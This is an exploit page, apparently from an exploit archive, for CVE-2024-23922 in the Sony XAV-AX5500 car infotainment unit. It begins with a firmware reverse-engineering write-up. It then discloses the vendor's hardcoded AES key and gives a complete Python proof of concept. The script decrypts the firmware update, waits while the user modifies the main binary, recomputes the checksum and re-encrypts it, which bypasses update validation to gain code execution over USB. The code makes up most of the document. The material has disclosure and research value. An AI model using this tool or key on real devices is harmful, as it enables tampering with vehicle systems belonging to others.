Share
## https://sploitus.com/exploit?id=PACKETSTORM:190337
# Exploit Title: Sony XAV-AX5500 Firmware Update Validation Remote Code Execution 
    # Date: 11-Feb-2025
    # Exploit Author: lkushinada
    # Vendor Homepage: https://www.sony.com/et/electronics/in-car-receivers-players/xav-ax5500
    # Software Link: https://archive.org/details/xav-ax-5500-v-113
    # Version: 1.13
    # Tested on: Sony XAV-AX5500
    # CVE : CVE-2024-23922
    
    # From NIST CVE Details:
    # ====
    # This vulnerability allows physically present attackers to execute arbitrary code on affected
    # installations of Sony XAV-AX5500 devices. Authentication is not required to exploit this
    # vulnerability. The specific flaw exists within the handling of software updates. The issue
    # results from the lack of proper validation of software update packages. An attacker can leverage
    # this vulnerability to execute code in the context of the device. 
    # Was ZDI-CAN-22939
    # ====
    
    # # Summary
    # Sony's firmware validation for a number of their XAV-AX products relies on symetric cryptography,
    # obscurity of their package format, and a weird checksum method instead of any real firmware
    # signing mechanism. As such, this can be exploited to craft updates which bypass firmware validation
    # and allow a USB-based attacker to obtain RCE on the infotainment unit.
    
    # What's not mentioned in the CVE advisories, is that this method works on the majority of Sony's
    # infotainment units and products which use a similar chipset or firmware package format. Tested 
    # to work on most firmware versions prior to v2.00.
    
    # # Threat Model
    # An attacker with physical access to an automotive media unit can typically utilize other methods
    # to achieve a malicious outcome. The reason to investigate the firmware to the extent in this post
    # is academic, exploratory, and cautionary, i.e. what other systems are protected in a similar
    # manner? if they are, how trivial is it to bypass?
    
    # # Disclaimer
    # The information in this article is for educational purposes only.
    # Tampering with an automotive system comes with risks which, if you don't understand, you should
    # not be undertaking.
    # THE AUTHORS DISCLAIM ANY AND ALL RESPONSIBILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES ARISING
    # FROM THE USE OF ANYTHING IN THIS DOCUMENT.
    
    
    # # The Unit
    # ## Processors
    #  - DAC
    #  - System Management Controller (SMC)
    #  - Applications Processor
    #  - Display Processor
    
    # Coming from a mobile and desktop computer environment, one may be use to thinking about
    # the Applications Processor as the most powerful chip in the system in terms of processing power,
    # size, power consumption, and system hierarchy. The first oddity of this platform is that the
    # application processor is not the most powerful; that honor goes to the DAC, a beefy ARM chip on the
    # board.
    
    # The application processor does not appear to be the orchestrator of the components on the system.
    # The SMC tkes which takes the role of watchdog, power state management, and input (think remote
    # controls, steering wheel button presses) routing.
    # For our purposes, it is the Applications processor we're interested in, as it is
    # the system responsible for updating the unit via USB.
    
    # ## Interfaces
    # We're going to be attacking the unit via USB, as it's the most readily exposed
    # interface to owners and would-be attackers.
    # Whilst the applications processor does have a UART interface, the most recent iterations of the
    # unit do not expose any headers for debugging via UART, and the one active UART line found to be
    # active was for message passing between the SMC and app processor, not debug purposes. Similarly, no
    # exposed JTAG interfaces were found to be readily exposed on recent iterations of the unit. Sony's
    # documentation suggests these are not enabled, but this could not be verified during testing. At the
    # very least, JTAG was not found to be exposed on an accessible interface.
    
    # ## Storage
    # The boards analyzed had two SPI NOR flash chips, one with an unencrypted firmware image on it. This
    # firmware was RARd. The contents of SPI flash was analyzed to determine many of the details
    # discussed in this report.
    
    # ## The Updater
    # Updates are provided on Sony's support website. A ZIP package is provided with three files:
    #  - SHDS1132.up6
    #  - SHMC1132.u88
    #  - SHSO1132.fir
    # The largest of these files (8 meg), the .fir, is in a custom format, and appears encrypted.
    # The FIR file has a header which contains the date of firmware publication, the strings KRSELCO and
    # SKIP, a chunk of zeros, and then a highish entropy section, and some repeating patterns of interest:
    
    # 00002070  b7 72 10 03 00 8c 82 7e  aa d1 83 58 23 ef 82 5c  |.r.....~...X#..\|
    # *
    # 00002860  b7 72 10 03 00 8c 82 7e  aa d1 83 58 23 ef 82 5c  |.r.....~...X#..\|
    
    # 00744110  b7 72 10 03 00 8c 82 7e  aa d1 83 58 23 ef 82 5c  |.r.....~...X#..\|
    # *
    # 00800020  b7 72 10 03 00 8c 82 7e  aa d1 83 58 23 ef 82 5c  |.r.....~...X#..\|
    
    
    # ## SPI Flash
    # Dumping the contents of the SPI flash shows a similar layout, with slightly different offsets:
    # 00001fe0  10 10 10 10 10 10 10 10  ff ff ff ff ff ff ff ff  |................|
    # 00001ff0  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
    # *
    # 000027f0  ff ff ff ff ff ff ff ff  ff ff ff ff 00 03 e7 52  |...............R|
    # 00002800  52 61 72 21 1a 07 00 cf  90 73 00 00 0d 00 00 00  |Rar!.....s......|
    #
    # 0007fff0  ff ff ff ff ff ff ff ff  ff ff ff ff 00 6c 40 8b  |.............l@.|
    # 00080000  52 61 72 21 1a 07 00 cf  90 73 00 00 0d 00 00 00  |Rar!.....s......|
    # ...
    # 00744090  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
    # *
    # 00778000
    #
    # This given the offsets and spacing, we suspect that the .FIR matches the contents of the SPI.
    # Decompressing the RARs at the 0x2800 and 0x80000, we get the recovery and main applications.
    
    # Once we remove the packaging bytes, seeing that the repetive patterns align with FF's, gives
    # us a strong indication the encryption function is operating in an ECB-style configuration,
    # giving us an avenue, even if we do not recover the key, to potentially make modifications
    # to the firmware depending on how the checksum is being calculated.
    
    # ## Firmware
    # The recovery application contains the decompression, decryption and checksum methods.
    # Putting the recovery_16.bin into ghidra and setting the memory map to load us in at 0x2800,
    # we start taking a look at the relevant functions by way of:
    # - looking for known strings (KRSELCO)
    # - analyizing the logic and looking for obvious "if this passed, begin the update, else fail"
    # - looking for things that look like encryption (loads of bitshifting math in one function)
    # Of interest to us, there is:
    # - 0x0082f4 - a strcmp between KRSELCO and the address the incoming firmware update is at, plus 0x10
    # - 0x00897a - a function which sums the total number of bytes until we hit 0xA5A5A5A5
    # - 0x02d4ce - the AES decryption function
    # - 0x040dd4 - strcmp (?)
    # - 0x040aa4 - memcpy (?)
    # - 0x046490 - the vendor plus the a number an idiot would use for their luggage, followed by enough
    #              padding zeros to get us to a 16 byte key
    
    # This gives us all the information we need, other than making some guesses as to the general package
    # and header layout of the update package, to craft an update packager that allows arbitrary
    # modification of the firmware.
    
    # # Proof of Concept
    # The PoC below will take an existing USB firmware update, decrypt and extract the main binary,
    # pause whilst you make modifications (e.g. changing the logic or modifying a message), and repackage
    # the update.
    
    # ## Requirements
    # - Unixish system
    # - WinRar 2.0 (the version the Egyptians built the pyramids with)
    
    # ## Usage
    # cve-2024-23922.py path_to_winrar source.fir output.fir
    
    import argparse
    import sys
    import os
    import tempfile
    import shutil
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    from cryptography.hazmat.backends import default_backend
    
    # Filenames as found in the .FIR
    MAIN_BINARY_NAME="main_16.bin"
    MAIN_RAR_NAME="main_16.rar"
    DECRYPTED_FILE_NAME="decrypt.bin"
    ENCRYPTED_FILE_NAME="encrypt.bin"
    
    # Offsets in the .FIR
    HEADER_LENGTH=0x80
    RECOVERY_OFFSET=0x2800
    MAIN_OFFSET=0x80000
    CHECKSUM_OFFSET=0x800000-0x10
    CHECKSUM_SIZE=0x4
    RAR_LENGTH_OFFSET=0x4
    RAR_LENGTH_SIZE=0x4
    
    # From 0x46490 in recovery_16.bin
    ENCRYPTION_KEY=b'\x54\x41\x4d\x55\x4c\x31\x32\x33\x34\x00\x00\x00\x00\x00\x00\x00'
    
    def decrypt_file(input_file, output_file):
        backend = default_backend()
        cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
        decryptor = cipher.decryptor()
    
        with open(input_file, 'rb') as file:
            ciphertext = file.read()
    
        # Strip the unencrypted header
        ciphertext = ciphertext[HEADER_LENGTH:]
    
        decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()
    
        with open(output_file, 'wb') as file:
            file.write(decrypted_data)
    
    def aes_encrypt_file(input_file, output_file):
        backend = default_backend()
        cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
        encryptor = cipher.encryptor()
    
        with open(input_file, 'rb') as file:
            plaintext = file.read()
    
        ciphertext = encryptor.update(plaintext) + encryptor.finalize()
    
        with open(output_file, 'wb') as file:
            file.write(ciphertext)
    
    def get_sony_32(data):
        csum = int()
        for i in data:
            csum = csum + i
        return csum % 2147483648 # 2^31
    
    def validate_args(winrar_path, source_file, destination_file):
        # Check if the WinRAR executable exists and is a file
        if not os.path.isfile(winrar_path) or not os.access(winrar_path, os.X_OK):
            print(f"[x] Error: The specified WinRAR path '{winrar_path}' is not a valid executable.")
            sys.exit(1)
        
        # Check if the source file exists
        if not os.path.isfile(source_file):
            print(f"[x] Error: The specified source file '{source_file}' does not exist.")
            sys.exit(1)
        
        # Read 8 bytes from offset 0x10 in the source file
        try:
            with open(source_file, 'rb') as f:
                f.seek(0x10)
                signature = f.read(8)
                if signature != b'KRSELECO':
                    print(f"[x] Error: The source file '{source_file}' does not contain the expected signature.")
                    sys.exit(1)
        except Exception as e:
            print(f"[x] Error: Failed to read from '{source_file}': {e}")
            sys.exit(1)
    
        # Check if the destination file already exists
        if os.path.exists(destination_file):
            print(f"[x] Error: The destination file '{destination_file}' already exists.")
            sys.exit(1)
    
    def main():
        parser = argparse.ArgumentParser(description="CVE-2024-23922 Sony XAV-AX5500 Firmware Modifier")
        parser.add_argument("winrar_path", help="Path to WinRAR 2.0 executable (yes, the ancient one)")
        parser.add_argument("source_file", help="Path to original .FIR file")
        parser.add_argument("destination_file", help="Path to write the modified .FIR file to")
    
        args = parser.parse_args()
    
        validate_args(args.winrar_path, args.source_file, args.destination_file)
        RAR_2_PATH = args.winrar_path
        GOOD_FIRMWARE_FILE = args.source_file
        DESTINATION_FIRMWARE_FILE = args.destination_file
    
        # make temporary directory
        workdir = tempfile.mkdtemp(prefix="sony_firmware_modifications")
    
        # copy the good firmware file into the temp directory
        temp_fir_file = os.path.join(workdir, os.path.basename(GOOD_FIRMWARE_FILE))
        shutil.copyfile(GOOD_FIRMWARE_FILE, temp_fir_file)
    
        print("[+] Cutting the head off and decrypting the contents")
        decrypted_file_path = os.path.join(workdir, DECRYPTED_FILE_NAME)
        decrypt_file(input_file=temp_fir_file, output_file=decrypted_file_path)
    
        print("[+] Dump out the rar file")
        with open(decrypted_file_path, 'rb') as file:
            # right before the rar file there is a 4 byte length header for the rar file. get that.
            file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
            original_rar_length = int.from_bytes(file.read(RAR_LENGTH_SIZE), "big")
            rar_file_bytes = file.read(original_rar_length)
    
            # now dump that out
            rar_file_path=os.path.join(workdir, MAIN_RAR_NAME)
            with open(rar_file_path, 'wb') as rarfile:
                rarfile.write(rar_file_bytes)
    
        # check that the stat of the file matches what the header told us
        dumped_rar_size = os.stat(rar_file_path).st_size
        if dumped_rar_size != original_rar_length:
            print("[!] extracted filesizes dont match, there may be corruption", dumped_rar_size, original_rar_length)
    
        print("[+] Extracting the main binary from the rar file")
        os.system("unrar x " + rar_file_path + " " + workdir)
    
        print("[!] Okay, I'm now going to wait until you have had a chance to make modifications")
        print("Please modify this file:", os.path.join(workdir, MAIN_BINARY_NAME))
        input()
    
        print("[+] Continuing")
        print("[+] Putting your main binary back into the rar file")
        os.system("wine " + RAR_2_PATH + " u -tk -ep " + rar_file_path + " " + workdir + "/" + MAIN_BINARY_NAME)
    
        # we could fix this by writing some FFs
        new_rar_size=os.stat(rar_file_path).st_size
        if dumped_rar_size > os.stat(rar_file_path).st_size:
            print("[!!] The rar size is smaller than the old one. This might cause a problem.")
            print("[!!] Push any key to continue, ctrl+c to abort")
            input()
    
        with open(decrypted_file_path, 'r+b') as file:
            # right before the rar file there is a 4 byte length header for the rar file. go back there
            file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
    
            # overwrite the old size with the new size
            file.write(new_rar_size.to_bytes(RAR_LENGTH_SIZE, "big"))
    
            print("[+] Deleting the old rar from the main container")
            # delete the old rar from the main container by FFing it up
            file.write(b'\xFF'*original_rar_length)
    
            # seek back to the start
            file.seek(MAIN_OFFSET)
    
            print("[+] Loading the new rar back into the main container")
            with open(rar_file_path, 'rb') as rarfile:
                new_rarfile_bytes = rarfile.read()
                file.write(new_rarfile_bytes)
    
        print("[+] Updating Checksum")
        with open(decrypted_file_path, 'rb') as file:
            contents = file.read()
    
        contents = contents[:-0x0010]
        s32_sum = get_sony_32(contents)
    
        with open(decrypted_file_path, 'r+b') as file:
            file.seek(CHECKSUM_OFFSET)
            # read out the current checksum
            old_checksum_bytes=file.read(CHECKSUM_SIZE)
            print("old checksum:", int.from_bytes(old_checksum_bytes, "big"), old_checksum_bytes)
    
            # go back and update it with new checksum
            print("new checksum:", s32_sum, hex(s32_sum))
            new_checksum_bytes=s32_sum.to_bytes(CHECKSUM_SIZE, "big")
            file.seek(CHECKSUM_OFFSET)
            file.write(new_checksum_bytes)
    
        print("[+] Encrypting the main container back up")
        encrypted_file_path = os.path.join(workdir, ENCRYPTED_FILE_NAME)
        aes_encrypt_file(decrypted_file_path, encrypted_file_path)
    
        print("[+] Reattaching the main container to the header and writing to dest")
        with open(DESTINATION_FIRMWARE_FILE, 'wb') as file:
            with open(temp_fir_file, 'rb') as firfile:
                header = firfile.read(HEADER_LENGTH)
            file.write(header)
            with open(encrypted_file_path, 'rb') as encfile:
                enc_contents = encfile.read()
            file.write(enc_contents)
    
        print("[+] DONE!!! Any key to delete temp files, ctrl+c to keep them.")
        input()
        shutil.rmtree(workdir)
    
    if __name__ == "__main__":
        main()